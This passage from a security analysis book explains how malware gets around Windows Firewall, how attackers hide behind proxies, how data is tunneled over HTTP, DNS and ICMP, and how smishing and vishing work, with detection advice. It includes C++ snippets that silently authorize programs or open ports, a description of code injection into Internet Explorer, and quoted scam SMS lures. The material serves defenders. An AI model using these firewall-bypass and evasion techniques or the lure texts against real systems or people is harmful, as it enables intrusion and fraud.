HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Ser v ices\SharedAccess\Parameters\Firewa l lPol icy\
DomainProfile\AuthorizedApplications\List

These branches contain a list of all of the Windows Firewall–
authorized applications in a series of strings that indicate the path to 
the application along with key attributes. The malicious code adds its 
information here as if the application is actually allowed to traverse 
the firewall.

Windows provides an alternative to directly modifying the regis-
try by providing an API interface47 to modify the Windows Firewall 
directly. Using a few lines of code, as seen in Exhibit 1-35, malicious 
code authors can add their creations to the list of Windows Firewall–
authorized applications. Using the API may reduce the likelihood of 
the malicious code raising suspicion about the victim or tripping anti-
virus solutions that monitor direct registry modifications.

Adding a program to the authorized programs list only allows the 
malicious code to access the network; it does not allow the malicious 
code to run as a server application. For the Windows Firewall to allow 

Exhibit 1-34 Security alert after disabling the Internet Connection Firewall and Internet 
Connection Sharing (ICF/ICS) service.
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access to incoming network connections, the malicious code author 
must “poke a hole” in the firewall. Much the same way that autho-
rized programs are contained within the registry, the firewall retains 
the list of ports that allow unsolicited network connections in the 
registry under the branches:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Ser v ices\SharedAccess\Parameters\Firewa l lPol icy\
StandardProfile\GloballyOpenPorts\List

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Ser v ices\SharedAccess\Parameters\Firewa l lPol icy\
DomainProfile\GloballyOpenPorts\List

Windows gives each opened port a set of configuration items defin-
ing the network (or networks) allowed to make connections, the proto-
col of the port (TCP or UDP), and the name of the service running the 
port. Malicious code authors can insert their own port definitions into 
the list to open a hole for the malicious code. For malicious code such 
as Waledac, which can provide HTTP and DNS services on Internet-
facing victims, it is important to disable the Windows Firewall to 
allow the malicious code to provide the necessary services.

// Retrieve the authorized application collection.
fwProfile->get_AuthorizedApplications(&fwApps);
// Create an instance of an authorized application.
CoCreateInstance(
        __uuidof(NetFwAuthorizedApplication),
        NULL,
        CLSCTX_INPROC_SERVER,
        __uuidof(INetFwAuthorizedApplication),
        (void**)&fwApp
        );
// Allocate a BSTR for the process image file name.
fwBstrProcessImageFileName = SysAllocString(fwProcessImageFile
Name);
// Set the process image file name.
fwApp->put_ProcessImageFileName(fwBstrProcessImageFileName);
// Allocate a BSTR for the application friendly name.
fwBstrName = SysAllocString(fwName);
// Set the application friendly name.
hr = fwApp->put_Name(fwBstrName);
// Add the application to the collection.
hr = fwApps->Add(fwApp);

Exhibit 1-35 Programmatically adding a program to the Windows Firewall authorized programs list.
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Waledac, however, does not directly modify the Windows registry. 
Instead, Waledac uses the Windows Firewall API to open firewall 
ports. Exhibit 1-36 illustrates the Microsoft example for program-
matically opening a port in the Windows Firewall.

Antivirus vendors may detect a modification to the firewall set-
tings of Windows Firewall. When malicious code needs to remain 
stealthy, modifying the Windows Firewall settings to connect to the 
command-and-control (C&C) server may prove problematic. Many 
families of malicious code, notably the BBB group B family from 
2008,48 use programs such as Internet Explorer to circumvent the 
Windows Firewall restrictions.

As mentioned previously, Windows Vista does not give Internet 
Explorer access to the Internet by default. With the prevalence of 
Internet Explorer, many attackers assume that victims have given 
Internet Explorer access to the Internet by adding the application to 
the Windows Firewall–authorized programs list.

Windows XP systems, on the other hand, automatically allow 
Internet Explorer network requests to traverse the Windows Firewall, 
regardless of whether or not the user explicitly lists the browser in the 
authorized application list. Attackers can exploit this fact by inject-
ing code into a running Internet Explorer instance. The Windows 

fwProfile->get_GloballyOpenPorts(&fwOpenPorts);
// Create an instance of an open port.
CoCreateInstance(
        __uuidof(NetFwOpenPort),
        NULL,
        CLSCTX_INPROC_SERVER,
        __uuidof(INetFwOpenPort),
        (void**)&fwOpenPort
        );
// Set the port number.
fwOpenPort->put_Port(portNumber);
// Set the IP protocol.
fwOpenPort->put_Protocol(ipProtocol);
// Allocate a BSTR for the friendly name of the port.
fwBstrName = SysAllocString(name);
// Set the friendly name of the port.
fwOpenPort->put_Name(fwBstrName);
// Opens the port and adds it to the collection.
fwOpenPorts->Add(fwOpenPort);

Exhibit 1-36 Programmatically opening a port through the Windows Firewall.
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Firewall does not concern itself with what part of Internet Explorer is 
requesting access through the firewall, only that the overall applica-
tion itself is requesting the access. Using the Windows API functions 
WriteProcessMemory, an attacker can inject code into the Internet 
Explorer process. Then, using the CreateRemoteThread API, the 
attacker can activate the code under the context of Internet Explorer, 
giving the attacker’s code the ability to access the Internet without 
disturbing the Windows Firewall. Typically, when an instance of 
Internet Explorer is unavailable, malicious code authors create a new 
instance of Internet Explorer using WinExec or CreateProcess while 
starting the new instance as a hidden application. This prevents the 
new instance from appearing on the taskbar and alerting the victim of 
the presence of the malicious code.

Given the fact that the Windows Firewall is little more than soft-
ware running on a potentially infected host, malicious code could 
install additional network drivers to intercept traffic before the 
Windows Firewall can intercede. Using a new network stack, such 
as is done by the Srizbi family of malicious code, quickly defeats the 
Windows Firewall but requires a higher degree of operating system 
knowledge on the part of the malicious code author.

Given the multiple ways around the Windows Firewall, it is appar-
ent that, by itself, the Windows Firewall is not sufficient protection 
against malicious code threats. With a variety of malicious code 
designed to handle the obstacles presented by the Window Firewall, 
the enterprise cannot rely on the firewall itself as the sure-fire solu-
tion. Thus, enterprises should not rely on the Windows Firewall alone, 
but should consider the system as an additional layer in the overall 
“defense-in-depth” strategies deployed by most network administra-
tors. The most effective enterprise firewall solution comes when using 
firewall devices external to the Windows computer the company 
wishes to protect.
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2
attaCker teChniqueS 

and motivationS

2.1 How Hackers Cover Their Tracks (Antiforensics)

2.1.1 How and Why Attackers Use Proxies

Masking one’s IP address is a standard practice when conducting 
illicit activities. A well-configured proxy provides robust anonymity 
and does not log activity, thereby frustrating law enforcement efforts 
to identify the original location of the person(s) involved.

A proxy allows actors to send network traffic through another 
computer, which satisfies requests and returns the result. Students or 
employees can use proxies to communicate with blocked services such 
as Internet Relay Chat (IRC) and instant messaging, or to browse 
websites that administrators block. Attackers also use proxies because 
Internet Protocol (IP) addresses are traceable, and they do not want to 
reveal their true locations. As one example, iDefense wrote about the 
fast-flux architecture (ID# 484463), which uses a proxy infrastruc-
ture to satisfy requests. Proxies are also a common source of spam 
e-mail messages, which use open relays (a simple mail transfer proto-
col [SMTP] proxy).

Proxies are useful to attackers in many ways. Most attackers use 
proxies to hide their IP address and, therefore, their true physi-
cal location. In this way, attackers can conduct fraudulent financial 
transactions, launch attacks, or perform other actions with little risk. 
While law enforcement can visit a physical location identified by an 
IP address, attackers that use one (or multiple) proxies across country 
boundaries are more difficult to locate (see Exhibit 2-1). The endpoint 
can only view the last proxy with which it is directly communicating 
and not any of the intermediary proxies or the original location.
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Proxies provide attackers with a way to lower their risks of investi-
gator identification of their true IP address. In the hypothetical attack 
displayed in Exhibit 2-1, the victim’s log file contains only one of the 
many IP addresses that investigators need to locate the attacker.

Attackers operate free proxies or alter a victim’s proxy settings 
because proxies can serve as a monitoring tool. AnonProxy is one 
example of a malicious proxy that its authors designed to monitor users 
and steal information such as social-networking passwords.1 Since a 
proxy relays traffic, it also has the ability to log and alter sensitive 
pages or information. Attackers must either convince users or install 
malicious code to modify proxy settings themselves.

Malicious code authors also install local proxies. By altering the 
host’s file or browser configuration to use the proxy, the attacker redi-
rects requests and captures confidential information. Some banking 
Trojans give attackers the ability to proxy requests through the vic-
tim’s browser because conducting fraud from a legitimate user’s IP 
address is less suspicious. Local proxies are more difficult to identify 
because the local proxy does not open any network ports and scanning 
the system will reveal no changes.

2.1.1.1 Types of Proxies Proxies are so common that many attackers 
scan the Internet for common listening proxy ports. The most com-
mon proxies listen on TCP port 80 (HTTP proxies), 8000, 8081, 
443, 1080 (SOCKS Proxy), and 3128 (Squid Proxy), and some also 
handle User Datagram Protocol (UDP). Attackers who install custom 
proxies often do not use standard ports but instead use random high 

Exhibit 2-1 Multiple proxies make identifying the true source of an attack difficult.
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ports. Some lightweight proxies are written in scripting languages, 
which run with an HTTP server and are easier for attackers to modify. 
Application proxies require configuration. Some applications either 
do not operate correctly through proxy services because the proxy 
server removes necessary information or cannot satisfy the request. 
Some services like The Onion Router (Tor)2 also give users the ability 
to proxy traffic and hide their original location from victims.

A virtual private network (VPN) acts as a more versatile proxy and 
supports more security features. Instead of configuring the applica-
tion to use a proxy, users can tunnel all traffic through the VPN. VPN 
services usually support strong authentication and are less likely to 
leak information that could identify the user of a proxy.

Attackers commonly use free or commercial proxies (e.g., SOCKS 
and VPN) that operators advertise on hacking forums. Attackers may 
prefer these services to public proxies because they advertise anonym-
ity and claim they do not keep logs, unlike Tor, where community 
operators can monitor traffic going through an exit node that it con-
trols. Proxy services that keep logs are a danger to attackers who use 
these services for conducting fraud and can lead to their arrests. Some 
commercial VPN and SOCKS proxy services include

• hxxp://secretsline.net
• hxxp://vpn-secure.net
• hxxp://thesafety.us
• hxxp://5socks.net
• hxxp://vpn-service.us
• hxxp://vip72.com
• hxxps://www.cryptovpn.com
• hxxp://www.vipvpn.com
• hxxp://openvpn.ru

Another example of such a service from web-hack.ru shows free 
and commercial proxies that are available (see Exhibit 2-2). Translated 
from Russian, these free Proxy and SOCKS services are updated 
every three hours; users can also purchase proxy access through 
the store. Attackers may prefer proxy services advertised on hack-
ing forums because they are less responsive to abuse requests. For 
example, commercial proxy services like FindNot keep logs of their 
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users for a maximum of five days to protect the system from being 
used for abusive purposes, while many of those services advertised 
on hacking forums do not keep any logs. Operating proxy services is 
not illegal because it has legitimate purposes related to anonymity for 
users; however, some commercial proxy services are more willing to 
respond to abuse than others.

2.1.1.2 Detecting the Use of Proxies Detecting proxies is difficult and 
not always reliable. Since many malicious code authors install custom 
proxies and use encrypted or custom protocols, it is very difficult to 
detect all proxies. There are techniques to detect common proxies, 
but such techniques are unlikely to be effective against attackers who 
use proxies aggressively.

Port scanning on corporate networks can identify proxies that listen 
on default ports. Organizations should also monitor changes to proxy 
configuration because such changes could indicate that an attacker 
compromised a host. The registry key at HKCU\Software\Microsoft\
Windows\CurrentVersion\InternetSettings, ProxyServer, controls the 
proxy settings for Internet Explorer. To detect proxies on the network 
with intrusion detection systems (IDSs), organizations may use proxy 
rules available from emergingthreats.net.3 The domain name system 
blacklist (DNSBL) is one example of a blacklist that allows adminis-
trators to block certain proxies.4

Certain proxies do not proxy all traffic. For instance, a Web appli-
cation can force users to perform unique DNS requests with subdo-
mains (see Exhibit 2-3). The application links the DNS request to 
the user’s IP address and verifies that the HTTP request originates 
from the same IP address. If they are not the same, indicating the use 
of a proxy, the application can determine that the proxy IP address 

Exhibit 2-2 Free and commercial proxies available from web-hack.ru.
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made the HTTP request and that the user’s actual IP address made 
the DNS request. Similarly, some Web plug-ins may query the local 
information rather than using the proxy address. As an example, 
decloak.net is a Metasploit project that uses the following application 
plug-ins to determine the true IP address of a proxy user:

• Word
• Java
• Flash
• QuickTime
• iTunes

Metasploit has even provided an application programming interface 
(API) for website owners to determine the true IP addresses of their 
visitors. iDefense configured a browser to use a proxy and showed that 
the Flash test correctly identified the real IP address because Flash 
does not use Internet Explorer proxy settings.

More aggressive techniques, such as operating proxies, allow law 
enforcement to determine the source and target of attacks that uti-
lize proxies. While such measures are useful, they are generally very 
difficult to operate because of abuse. Analysts must carefully moni-
tor activity because attacks now originate from proxy nodes and may 
result in illegal or otherwise unwanted activity.

2.1.1.3 Conclusion Free and commercial proxies are very numerous 
on the Internet and can use standard protocols and ports. Other prox-
ies are more difficult to identify, and administrators can detect the use 
of proxies through configuration changes, IDSs, or tools like decloak.
net. Attackers who want to hide their locations have resources avail-
able to them. Since it is difficult to detect all proxy users accurately, 
proxy tools and services will continue to be useful for attackers.

Proxy

Unique DNS Request

Attacker HTTP Server

HTTP HTTP

Exhibit 2-3 Certain proxy protocols may provide a way to identify the user of a proxy.
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2.1.2 Tunneling Techniques

Most enterprise security controls include strong firewalls, intrusion 
detection systems (IDSs), and user policies, such as proxies and time-
of-day rules that limit the amount and type of traffic generated on 
user networks. Tunneling data through other protocols often bypasses 
these controls and may allow sensitive data to exit the network and 
unwanted data to enter. It is even possible to extend all networks 
through these means without ever triggering an alert or log entry.

Most researchers cannot help but think of secure shell (SSH) when 
hearing the word tunneling. The authors of SSH, the encrypted ver-
sion of Telnet “on steroids,” designed it to be able to tunnel data over 
the connections it makes so that other applications and protocols 
could potentially be more secure. Data, after all, is no different when 
it is  composed of keystrokes and terminal printouts than when it is 
simply files sent over FTP, Web requests sent over HTTP, or entire 
IP packets. That is all tunneling really is—a way to transfer arbitrary 
data in the payload of a protocol and then potentially interpret them 
differently or in some other extended way than originally intended.

A common, simple form of traffic tunneling in SSH is the tun-
neling of a Transmission Control Protocol (TCP) port. When a user 
configures such tunneling over an SSH session, the protocol simply 
proxies a TCP connection over the SSH connection, and the content 
of the TCP connection does not flow directly from source to destina-
tion, but rather through the SSH connection. One side of the SSH 
connection (either server or client) listens on a specified TCP port as 
the source of the data and transfers all the data to the other side of the 
SSH connection. This other side then forwards the data to the speci-
fied TCP destination. An SSH tunneling configuration can become 
more complicated, because users can configure it to provide a reverse 
tunnel or arbitrary application proxying through protocols such 
as SOCKS, but the underlying concept remains the same. Exhibit 
2-4 shows how an SSH connection can tunnel a Telnet connection 
securely between trusted environments. The example tunnels traffic 
between two unrelated hosts that have no SSH capability to illustrate 
the flexibility of the solution.

Researchers designed SSH to provide this capability, but it is 
simple to block. The Internet Engineering Task Force Request for 
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Comments (IETF RFC), which has published documents describing 
protocol standards, defines SSH’s port cleanly so administrators can 
filter it. The traffic signature, especially the initial handshake, is obvi-
ous, and some deep packet inspection tools may block it regardless of 
what port a user chooses. Still, tunneling is not limited to SSH. A 
deft attacker can coax any protocol into tunneling traffic; however, for 
the tunnel to be valuable for hoarding data in and out of a network, 
protocols with substantial areas of payload work best. Many types 
of open source software already exist, all of which allow tunneling 
through well-known protocols, which attackers can use out of the box 
or with some simple tweaking to defeat most firewalls’ rules, proxies, 
and other administrative access controls quickly. By writing custom 
applications that act as the client and server for other protocols in 
a given environment, malicious code can hide its activities and gain 
unfettered access to and from any network. To illustrate this point, 
this section examines some of the most common unrestricted proto-
cols in the enterprise—HTTP, the domain name system (DNS), and 
Internet Control Message Protocol (ICMP)—to show how open and 
flexible they are.

2.1.2.1 HTTP HTTP has become the de facto high-level protocol 
on the Internet. As the protocol used for accessing content on the 
World Wide Web, developers adapted it to carry much more than 
just the static text and images of Web pages. It now carries audio and 
video streams, can transfer large files, and can even carry application-
to-application remote procedure calls (RPCs). Its ubiquity and indis-
pensability make it a prime candidate for tunneling operations.

Referring to Exhibit 2-4, in the case of HTTP and most other tun-
nels, other appropriate software that communicates via the protocol 

Telnet Client SSH Client SSH Server Telent ServerSSH Connection

SSH Data

SSH Tunnel Endpoint

TCP Connection

SSH ConnectionSSH Connection

SSH Data

Internet

Exhibit 2-4 Telnet tunneled over a secure shell (SSH) connection.
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of choice simply replaces the client, server, connection, and data (pay-
load). Exhibit 2-5 shows the syntaxes of an HTTP request and reply 
that illustrate areas of the protocol that can contain discretionary 
information for data transfer.

As one can see, the protocol allows, in essence, unlimited space 
for content (or payload) in the request or reply message in addition to 
other open areas, such as the headers, whether this content includes 
arbitrary custom headers or inappropriate data in valid headers. This 
makes it convenient to transfer arbitrary data to and from an HTTP 
server. All one needs to tunnel the traffic is software that can pretend 
to talk to the protocol but in reality can transfer data for some other 
(perhaps nefarious) purpose. A tunneling Web server or a tunneling 
Web application running on a legitimate Web server will work. Both 
types of solutions are readily available as open source software. Since 
tunneled traffic looks and acts like HTTP, application proxies are not 
a viable defense, as malicious users or software will simply use the 
proxies as their administrators intended: to transmit HTTP message 
through a control point.

Most malicious code already acts as a simple HTTP tunnel; in 
practice, it posts sensitive data to malicious Web servers for purposes 
other than to retrieve a Web-based resource. It also sometimes com-
municates over HTTP; however, it may not act as fully functional 
tunnels that attackers could use to infiltrate or exfiltrate the network 
on which they sit. To do that, attackers need a complete tunnel client 
and server. Some common software for the task is GNU httptunnel,5 
JHttpTunnel,6 and Webtunnel.7 There are also paid services dedicated 
to the task so that a malicious user needs only a client, such as PingFu8 

�e HTTP Reply Message:

HTTP/VERSION STATUS reason

�e HTTP Request Message:

METHOD /path query
header

content

header

content

HTTP/VERSION?

Exhibit 2-5 HTTP messages.
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on Art of Ping. Commercial solutions also exist that almost make the 
practice appear as legitimate and valid solutions for defeating “restric-
tive” firewalls, such as HTTP Tunnel by netVigilance.9

HTTPS, which is HTTP secured over a secure socket layer (SSL) 
against eavesdropping and tampering, is no different from HTTP 
except that it makes detection harder. If a malicious actor cannot 
eavesdrop, he or she does not have a chance to detect known signa-
tures of tunnels. Proxies that support HTTPS through a CONNECT 
method may actually make matters far worse, as the CONNECT 
method simply establishes an arbitrary TCP connection that can send 
or receive any data.

2.1.2.2 DNS The DNS is the core directory service of the Internet. 
Without it, translations between names, such as www.verisign.com 
and IP addresses, could not happen, and it would be difficult, if not 
impossible, to manage the daily operations of the Internet. Although 
the DNS architecture is fundamentally different from that of HTTP, 
the community designed it to carry different data over a different pro-
tocol; however, they share one important aspect: required availability. 
Since DNS is a service that an administrator cannot block and must 
always make available, it is also a good choice for data exfiltration and 
tunneling. The basic construct of DNS is different from HTTP and 
other content delivery protocols. The most common delivery mecha-
nism for DNS is the UDP, not TCP, so the specifications do not 
guarantee communication reliability. It is hierarchically decentral-
ized so clients may not send transmissions directly to a specific end 
server, but other servers may relay it, and the size of the information 
contained in each burst of communication is relatively small. These 
features make the deployment of functional tunnels more difficult but 
not impossible. Exhibit 2-6 shows the layout of DNS message pack-
ets; the darker areas indicate where software can hide payloads.

Since there are few small areas where data can be stored, DNS tun-
nels need many packets to transfer large amounts of data and tend to 
be chatty. In most cases, the tunnel client is simple end user software 
that makes many requests for nonexistent hosts (where the host names 
are the encoded payload, such as 0123456789abcdef.badguy.goodguy.
com) on some malicious domain or subdomain (badguy.goodguy.com) 
and expects a payload as the response from the tunnel server. The tunnel 
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server is generally a rogue (fake) DNS server where intermediary resolvers 
eventually route the questions. Thus, this setup may require more infra-
structure access than just a simple Web server does because an attacker 
needs to delegate DNS authority to a rogue system. Since the communi-
cation requires that the payload be small and since latency may be high, 
DNS tunnels create many packets and tend to be slow and unresponsive. 
Additionally, complexity may be high because retransmission and other 
delivery options, which are readily available in a TCP stream, may not 
be available. Thus, authors must implement custom solutions.

As with HTTP tunnels, open source solutions and open services are 
readily available on the Internet. Some of the most common software, 

0 1 2 3 4 5 6 7

qname

name

QCLASS

CLASS

RDLENGTH

rdata

QTYPE

TYPE

TTL

additional

authority

answer

question

HEADER

RRs Holding Additional Information

RRs Pointing Toward an Authority

Resource Records (RRs) Answering
the Question

�e Question for the Name Server

8 9 0 1 2 3 4 5
1 1 1 1 1 1

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
1 1 1 1 1 1

Exhibit 2-6 DNS messages. All communications inside of the domain protocol are carried in 
a single format called a message (top); the question section is used to carry the “question” in 
most queries (middle), and the answer, authority and additional sections all share the same format 
(bottom).
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such as NSTX,10 OzymanDNS,11 iodine,12 and heyoka,13 is well estab-
lished and has been around for years. Services, such as DNStunnel.de,14 
provide tunneling capabilities to those that cannot delegate authority 
to an “evil” subdomain and make barriers to entry low.

2.1.2.3 ICMP ICMP is a signaling protocol for IP. It is used mostly 
to deliver status and error messages when IP-based communication 
errors occur or to troubleshoot and test connectivity status. Although 
most enterprise policies already block outbound ICMP packets, some 
Internet service provider (ISP) solutions may not, and its use as a 
tunnel is mostly to bypass ISP authentication requirements or as a 
simple covert channel. Most ICMP messages offer little in the way of 
embedding payload, and implementation details may make it difficult 
to get the messages delivered; however, ICMP echo messages, which 
users and administrators alike use to test the accessibility of a host, 
are well suited for tunneling. Ping, as the most common software that 
implements this ICMP mechanism, sends data to a host and expects 
a reply. Exhibit 2-7 is the layout of an ICMP echo message, again 
showing payload areas.

As shown in the protocol illustration in Exhibit 2-4, there are 
plenty of data in which to place payload for a tunnel; therefore, ICMP 
offers good throughput in both directions. ICMP tunneling was one 
of the earliest15 methods publicly available to transmit traffic over 
a protocol in a covert way that essentially abused the protocol. The 
open source community actively maintains and makes available sev-
eral software packages to provide this functionality, including Ping 
Tunnel,16 ICMPTX,17 Simple ICMP Tunnel,18 and Skeeve.19

2.1.2.4 Intermediaries, Steganography, and Other Concepts Aside from 
the three common tunnels discussed in the previous paragraphs, hack-
ers can modify any protocol that filters through a firewall to behave 
as a tunnel. Assuming deep-packet inspection requires that a given 

TYPE

data ...

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0
0 1 2 3

1

IDENTIFIER
CODE CHECKSUM

SEQUENCE NUMBER

Exhibit 2-7 Internet Control Message Protocol (ICMP) echo message.
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protocol at least match the appropriate syntax (headers must match, no 
arbitrary data, etc.), tool writers can coerce even FTP, SMTP, and the 
like into becoming covert channels. All such tunnels have one thing in 
common, however: it is apparent where their destinations lie.

The task of tracking down specific tunnels and at least shutting 
down those that are readily apparent is a quick step: identify the des-
tination and block it. This task can become much more difficult with 
advanced implementations such as intermediary hosts, however. For 
example, it is possible to create an HTTP tunnel that does not just 
connect directly to its destination, but rather drops a payload onto 
some public or common service (forums, comments on blogs, image 
hosts, etc.)—services that may have legitimate uses. Once the payload 
arrives at the intermediate service, the destination side of the tunnel 
picks it up and delivers a reply—all without ever revealing the mali-
cious origin to the exfiltrated network. Recently, researchers discov-
ered such a scheme on Twitter.20

The intermediary problem can be even more complex. Steganography 
is the practice of hiding messages and data in content that is not read-
ily apparent and is a form of security through obscurity. For example, 
steganographic software and tools can encode messages and data into 
images21 so that only users who know where the data exists can retrieve 
it. Tunnels that use intermediaries for data exchange can deposit pay-
loads that are steganographically encoded to make it harder to detect 
the covert communication. The Twitter example would have been 
much more difficult to identify if the payload had been English text 
with common misspellings, another potential form of steganography. 
Payload is not even required with such tools. For example, the tim-
ing of HTTP requests to some arbitrary Web server, where a recipi-
ent can observe the request rate, can be a form of communication in 
and of itself, without the need to embed the payload. Similarly, timed 
communication can be accomplished using lower-level protocols, such 
as raw IP packets.

2.1.2.5 Detection and Prevention The potential of covertly extending a 
network to the outside world is a clearly unacceptable risk. While the 
firewalls and IDS that are in place today have their roles to play, they 
may not be able to identify or prevent tunneling. Tunnels abuse proto-
cols in a way that matches the syntax or the rules of the specifications 
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but not the intent, so despite the efforts of vendors using static signatures 
for detection—for example, iodine signatures available for Snort—it is 
trivial to “hack” tunnels to foil the current crop of defenses. Attackers 
can easily modify open-source tools to appear slightly different from 
the original, thus defeating a static rule. Any protocol can quickly 
become a tunnel harbor. Packet inspection firewall rules and IDSs 
can go only so far in identifying and blocking the threats. Tunnels do 
have a weakness. They almost never adhere to historical or trended 
traffic patterns. While HTTP normally has small transfers outbound 
with larger transfers inbound, tunneling may cause this to reverse or 
become nearly equal. The duration of connections may also buck the 
trend, as tunnels need things like keep-alive messages and timeouts. 
In the case of DNS tunnels, the amount of requests per client, or a set 
of clients, or even across the enterprise may jump significantly.22 In the 
case of ICMP, packet sizes may not match the expected norms, and 
with any other tunnels, the ratios of different protocols, frequency, and 
volume can all be indicators of anomalies. These markers point to the 
need for traffic analysis. Using net flows and other packet capture and 
aggregation tools, it becomes a statistical problem to map enterprise 
network trends and identify anomalies. While the crop of commercial 
tools is limited, several open source solutions are available to begin the 
process of at least watching and understanding what is going on in 
the network. Tools like SilK23 and Sguil24 can become the gateway to 
better understanding. They can provide a foundation for trending the 
network and baselining behavior. Although it may be a labor-intensive 
process, using it is better than not knowing.

Now may be the time to start thinking about what may lurk in the 
shadows of networks. Covert exfiltration of information through tun-
nels is bound to increase as the tools to detect existing software and 
controls of existing methods become stronger. Broad-based dynamic 
analytics need to be part of any network user’s strategy to ensure iden-
tification of the not-so-obvious threats that may be emerging.

2.2 Fraud Techniques

2.2.1 Phishing, Smishing, Vishing, and Mobile Malicious Code

Many phishing attacks against mobile devices use short message 
service (SMS, or smishing) and voice-over Internet protocol (VoIP, 
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or vishing) to distribute lures and collect personal information. 
Attackers often send fraudulent SMS messages containing a URL or 
phone number using traditional phishing themes. Responders either 
enter their personal information into a fraudulent website, as with 
traditional e-mail phishing, or, if calling phone numbers, may even 
provide their information directly to other people. To limit exposure 
to these growing threats, organizations should not send contact infor-
mation to users via SMS but instead should be sure phone numbers 
are readily available on their websites. In addition, financial institu-
tions should carefully consider using mobile devices as two-factor 
authentication devices, given that customers may use the same mobile 
device to access the online banking system.

Phishing by way of mobile phones introduces new challenges for 
attackers and administrators alike. Many phishing attacks against 
mobile devices use SMS (smishing) and VoIP (vishing). Attackers 
often send fraudulent SMS messages to many users attempting to 
gain private information or distribute malicious files. The messages 
include a URL or a phone number with themes similar to those of 
traditional phishing messages. Upon calling a phone number, the user 
may interact with an actual person or a voicemail system—both of 
which are risks to the user’s personal information.

Many legitimate services suffer from doubt and uncertainty related 
to sending legitimate SMS messages. Organizations should avoid 
repeating mistakes made with e-mail, which for many organizations 
is no longer a viable means of communicating with customers due to 
the pervasiveness of phishing and other fraud.

2.2.1.1 Mobile Malicious Code Although rare and only a more 
recent occurrence, SMS messages sent to mobile devices may also 
attempt to convince users to install a mobile malicious code. On or 
before February 4, 2009, Chinese mobile phone users began report-
ing a new virus that affects Symbian S60.25 A signature is required 
on all code that runs on the S60 third edition, and this virus is no 
exception; it uses a certificate from Symbian licensed to “ShenZhen 
ChenGuangWuXian.” After the user installs the program, it spreads 
to other users by sending SMS messages that contain URLs, such as 
the following, for users to download and install the code:
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• hxxp://www.wwqx-mot.com/game
• hxxp://www.wwqx-cyw.com/game
• hxxp://www.wwqx-sun.com/game

The “Sexy View” virus attempts to convince recipients to download 
and install a Symbian Installation file (SISX) at the URL, but it does 
not use any exploits to install automatically. Details on this virus are 
publicly available.26

2.2.1.2 Phishing against Mobile Devices Most instances of SMS 
phishing (smishing) target banks or financial institutions by sending 
a phone number that the victim calls after receiving the message, 
resulting in a vishing attack (see Exhibit 2-8).

In the past, attackers used vishing against random targets and were 
successful at evading defensive filters. For instance, actors have used 
SMS gateways that allow users to send e-mails instead of spending 
money per SMS message. In this way, actors send messages to all pos-
sible SMS recipients for a gateway. As an example, the SMS gateway 
receives e-mail messages sent to the phone number 111-222-3333 at 
the e-mail address 1112223333@mobile.gateway.example.com. SMS 
gateway providers have responded to abuse by rejecting excessive num-
bers of messages or fraudulent messages. This is dependent upon the 
cooperation of the Internet service providers (ISPs) themselves, rather 
than defensive tools on a mobile device. Uncooperative or unwilling 
ISPs could cause this type of filtering to fail.

There are several common themes in smishing messages. The fol-
lowing examples all include phone numbers for victims to call. The 
messages may originate from either a phone number or an e-mail 
address, both of which an attacker can spoof.

Attacker Victim

Collects Private
Information

User Calls VoIP Number
Attacker Sends
Fraudulent SMS
With Phone Number

Exhibit 2-8 Example flow of a smishing or vishing attack to steal private information.
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ApplicationCenter/This is an automated message from Lafayette F.C.U. 
.Your ATM card has been suspended. To reactivate call urgent at 1-567-
248-859427

From: Jennifer [@] fortheloveofmarketing.com
Your Treasury Department FCU account is expired, for renewal please 
call us toll free 818.462.5049

jAPANESS MOTORS AUTO AFRIC, You have won a Brand new 
Toyota landcruiser VX, in our annual draw. Call Mr. Peter Aganyanya 
through this No. +254727925287.28

Announcement from PETRONAS MLSY. CONGRATULATIONS 
your phone number has won a prize of RM 11000. (About US$3,200) 
Please contact the following number at 0062858853982xx tomorrow 
morning at 8.00am. Thank you

Official Microsoft ANNOUNCEMENT: Congratulations! Your mobile 
phone has won US$ 10 Million prize money. To claim your money, call 
this number XXXXXXXX tomorrow at 8 AM. Thank you.29

Many of these systems use voicemail systems to steal user informa-
tion, including bank account information. There have been attacks 
where vishers answer the phones themselves. F-Secure documented 
one such incident regarding the 0062858853982xx phone number 
with a transcript and audio files.30 Similar to traditional phishing 
attacks, smishing and vishing attacks frequently use fake rewards and 
fake account alerts.

In January 2008, the Facebook application Secret Crush began 
phishing users by requesting their mobile phone number through 
the social-networking website. Subsequently, it would send them 
messages from a premium SMS service that costs $6.60 per mes-
sage according to one user afflicted by the scam. Users that reply to 
the premium rate number (19944989) would receive the bill to their 
mobile phone.31

Whocallsme.com is a resource where users frequently report issues 
related to phone numbers. Users often report SMS scams, banking 
fraud, and other incidents to this website based upon the originating 
phone number. A few examples include
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Dear Credit union customer, we regret to inform you that we had to 
lock your bank account access. Call (647) 827-2796 to restore your bank 
account.

!!Urgent! Your number has been selected for a $5000 prize guaranteed! 
To claim your prize call +423697497459

Organizations should monitor their own SMS number services via 
sites like whocallsme.com to see if users are suspicious of their ser-
vices. Such suspicions could indicate mistrust in the legitimate service 
or attackers who are spoofing the number of the affected organization 
to improve their chances of gaining trust.

Smishing and vishing are serious problems. Antiphishing products 
are designed to filter e-mails, but mobile phishing is more difficult 
to filter for both users and automatic products. SMS messages con-
tain much less tracking information; therefore, recipients will not be 
able to determine from where they originate. Mobile phone brows-
ers and SMS programs also lack integrated phishing defenses built 
into today’s e-mail clients and browsers. Smishers also often spoof the 
source address and use a large number of different phone numbers to 
perform vishing. Mobile browsers also make it difficult to determine 
the legitimacy of a URL. The small-form factor and limited display 
are incapable of displaying full URLs, and it can take as many as 
ten clicks to access the security information of a site. Most mobile 
browsers lack support for protections normally available on desktop 
systems such as URL filtering, phishing toolbars, and extended vali-
dation (EV) SSL certificates. Based upon these concerns, it seems 
likely that users of mobile devices have an increased risk of falling 
victim to a phishing attack when they surf with mobile browsers or 
receive fraudulent SMS messages.

2.2.1.3 Conclusions To combat the uncertainty caused by smishing 
and vishing, organizations that plan to contact users via SMS should 
not encourage users to depend upon caller ID, phone numbers, or the 
contents of a message. To limit exposure to these problems, organiza-
tions should clearly advertise their legitimate SMS numbers via their 
website and avoid sending phone or SMS contact numbers within 
messages whenever they contact users.
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Concerning mobile phishing threats, financial institutions should 
take great care to educate their customers regarding how they plan 
to offer services and communicate via mobile devices. Additionally, 
